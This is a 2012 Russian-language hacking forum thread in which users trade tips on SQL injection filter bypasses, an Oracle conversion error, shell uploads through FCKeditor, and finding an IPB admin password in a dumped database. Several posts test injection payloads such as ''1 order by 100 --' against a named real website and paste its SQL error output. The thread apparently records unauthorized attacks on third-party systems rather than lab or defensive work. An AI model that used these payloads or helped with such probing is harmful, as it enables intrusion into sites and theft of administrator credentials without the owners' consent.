 |
|
29.02.2012, 12:27
|
|
Новичок
Регистрация: 20.02.2012
Сообщений: 13
С нами:
7487606
Репутация:
0
|
|
Сообщение от Expl0ited
линку в личку
Скинул
|
|
|
29.02.2012, 13:16
|
|
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
С нами:
8200406
Репутация:
38
|
|
Существуют варианты обойти фильтрацию WHERE в запросе? Фильтруется, походу, тупым поиском текста в запросе. Тоесть /*!%0DWhErE*/ и подобные вариации не помогают.
|
|
|
|
29.02.2012, 16:31
|
|
Участник форума
Регистрация: 25.12.2011
Сообщений: 103
С нами:
7569686
Репутация:
5
|
|
Сообщение от alexvrn
Можно залить ли шелл в fckeditor 2.6.6 только .htaccess уже есть в папках? magic_quotes_gpc Off
если к примеру нжинкс стоит криво настроеный, то да.
|
|
|
|
29.02.2012, 16:36
|
|
Участник форума
Регистрация: 15.08.2010
Сообщений: 260
С нами:
8285366
Репутация:
62
|
|
Сообщение от m00c0w
если к примеру нжинкс стоит криво настроеный, то да.
«нжинкс» не работает с .htaccess в принципе..
|
|
|
|
01.03.2012, 02:23
|
|
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
С нами:
8200406
Репутация:
38
|
|
Сообщение от Ruslan1817
http://gir[убрать]rsa.ru/search/',Stick,
подскажите.
Невозможно найти удалённый сервер
|
|
|
|
01.03.2012, 11:40
|
|
Познающий
Регистрация: 11.12.2011
Сообщений: 38
С нами:
7589846
Репутация:
0
|
|
Есть ли вариант обойти ORA-06502 ? character to number conversion error
Реагирует так на кавычку или комментарий (--,--+ и т.д.).Часто встречал в движке такое.
Реакция даже на пробелы( хз уже,что подставлять ).
|
|
|
|
01.03.2012, 16:08
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
С нами:
8866466
Репутация:
564
|
|
Сообщение от Breetonia
Есть ли вариант обойти ORA-06502 ? character to number conversion error
Реагирует так на кавычку или комментарий (--,--+ и т.д.).Часто встречал в движке такое.
Реакция даже на пробелы( хз уже,что подставлять ).
пробуй варианты ссылко
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|
|
01.03.2012, 19:01
|
|
Участник форума
Регистрация: 30.07.2010
Сообщений: 118
С нами:
8308406
Репутация:
0
|
|
Вопрос такой:
Кручу, кручу скулю, получаю БД.
В основном все с приставкой ipb. Ну следовательно форум ipb, ищу пароль админа... не нахожу)
там где-то сотня таблиц и найти не могу(
подскажите ее название пожалуйста)
|
|
|
|
02.03.2012, 10:24
|
|
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
С нами:
8200406
Репутация:
38
|
|
Сообщение от Ruslan1817
исправил.
gir[убрать]sa.ru/search/',Stick,
кто поможет?
Увы, тип скули - стринг. Тоесть с кавычкой. А кавычки там слэшируются.
Вообще интерестная скуль.
http://girsa.ru/search/'1+order+by+100+--+
Сообщение от None
Query failed: select gid from tags where tag = '\' or tag='\'1' or tag='order' or tag='by' or tag='100' or tag='--' ; (1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'1' or tag='order' or tag='by' or tag='100' or tag='--'' at line 1)
http://girsa.ru/search/'%0D1%0Dorder%0Dby%0D100%0D--%0D
Сообщение от None
Query failed: select gid from tags where tag = '\' or tag='\' 1 order by 100 -- ' ; (1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' 1 order by 100 -- '' at line 1)
|
|
|
|
02.03.2012, 10:51
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от Ruslan1817
исправил.
gir[убрать]sa.ru/search/',Stick,
кто поможет?
Осмелюсь предположить что ничего не выйдет, как я понял в скрипте не фильтруется только первый символ запроса, остальные фильтруются(?), т.е.:
http://girsa.ru/search/'
Получаем запрос: select gid from tags where tag = '\' or tag='\''
где красным выделено, то что нарушает синтаксис запроса, обойти это увы у меня не вышло.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
